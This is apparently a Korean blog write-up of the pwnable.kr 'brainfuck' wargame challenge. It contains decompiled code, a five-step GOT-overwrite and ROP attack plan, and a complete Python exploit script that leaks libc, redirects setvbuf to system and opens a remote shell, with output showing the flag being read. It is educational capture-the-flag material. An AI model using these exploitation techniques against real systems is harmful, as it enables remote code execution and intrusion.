int __cdecl do_brainfuck(char a1) { int result; // eax@1 int v2; // ebx@7 result = a1; switch ( a1 ) { case '>': result = hasAddr++ + 1; break; case '<': result = hasAddr-- - 1; break; case '+': result = hasAddr; ++*(_BYTE *)hasAddr; break; case '-': result = hasAddr; --*(_BYTE *)hasAddr; break; case '.': result = putchar(*(_BYTE *)hasAddr); break; case ',': v2 = hasAddr; result = getchar(); *(_BYTE *)v2 = result; break; case '[': result = puts("[ and ] not supported."); break; default: return result; } return result; }
0x804A0A0 주소값을 기준으로 (+1, -1)으로 다른 주소에 접근하며 read, write가 가능하다.
GOT overwrite를 이용해서 exploit가능 ~
(*) hex-ray에서 "hasAddr++ +1"로 나와있는데 실제 어셈코드로는 +1만 수행함 .
공격 방법
1. tape변수(.bss)영역에 system의 인자로 사용할 "/bin/sh" 문자열을 입력한다.
2. puts의 주소를 얻어서 공유라이브러리의 로딩 주소를 구한다.
3. puts의 plt를 add esp 하는 가젯으로 덮는다.
4. setvbuf_plt에 동적으로 가져온 system함수의 주소를 덮는다.
5. 브레인코드 뒤에 rop payload를 붙여준다. (ret_sled + setvbuf_plt + dummy + &"/bin/sh")
[ exploit code ]
from socket import socket, AF_INET, SOCK_STREAM
import struct
HOST = '110.35.38.6'
PORT = 9001
s = socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
################## address info ###################
ret_addr = struct.pack('<I', 0x8048670) # &ret
setvbuf_plt = struct.pack('<I', 0x080484B0) # system
dummy = 'aaaa'
binsh_addr = struct.pack('<I', 0x804A0A0) # &"/bin/sh"
### libc offset ###
base_addr = 0
puts_offset = 0x677E0
system_offset = 0x3f250
gadget_offset = 0xe1400L # add esp 0x16c
###################################################
payload1 = ',>'*7 + ',' #'/bin/sh\x00'
payload1_data = '/bin/sh\x00'#'\x00hs/nib/'
#payload2 : read &puts
payload2 = '<'*(7+132) + '<.'*4
#payload3 : puts_plt <- add esp 0x100
payload3 = ',>'*4
#payload4 : setvbuf_plt <- &system
payload4 = '>'*11 + '>,'*4
#start exploit (call puts)
start = '[[['
rop_payload = ret_addr*50 + setvbuf_plt + dummy + binsh_addr
s.recv(1024)
s.recv(1024)
s.send(payload1 + payload2 + payload3 + payload4 + start + rop_payload + '[[\n')
#payload1 data : /bin/sh
s.send(payload1_data)
puts_addr = ''
for i in range(4):
puts_addr += s.recv(1)
puts_addr = int(puts_addr.encode('hex'),16)
base_addr = puts_addr - puts_offset
print '[*] libc base address : %s ' % hex(base_addr)
#payload3 data : add esp
payload3_data = struct.pack('<I', base_addr+gadget_offset)
s.send(payload3_data)
print '[*] overwrite "puts_plt" <- esp lifting(%s)' % hex(base_addr+gadget_offset)
#payload4 data : &system
payload4_data = struct.pack('<I', base_addr+system_offset)
s.send(payload4_data)
print '[*] overwrite "setvbuf_plt" - &system(%s)\n\n' % hex(base_addr+system_offset)
import telnetlib
def telnet_cmd(s):
print '[*] start shell'
t = telnetlib.Telnet()
t.sock = s
t.interact()
telnet_cmd(s)
-->
Python 2.7.7 (default, Jun 1 2014, 14:21:57) [MSC v.1500 64 bit (AMD64)] on win32
Type "copyright", "credits" or "license()" for more information.
>>> ================================ RESTART ================================
>>>
[*] libc base address : 0xf75cf000L
[*] overwrite "puts_plt" <- esp lifting(0xf76b0400L)
[*] overwrite "setvbuf_plt" - &system(0xf760e250L)
[*] start shell
ls
bf
flag
super.pl
cat flag
BrainFuck? what a weird language..
'Wargame > pwnable.kr' 카테고리의 다른 글
[Hacker's Secret] unexploitable (0) | 2014.07.27 |
---|---|
[Rookiss] simple login (0) | 2014.07.27 |
[Rookiss] ascii_easy (0) | 2014.07.21 |
[Rookiss] dragon (0) | 2014.07.20 |
[Toddler's Bottle] passcode (0) | 2014.07.19 |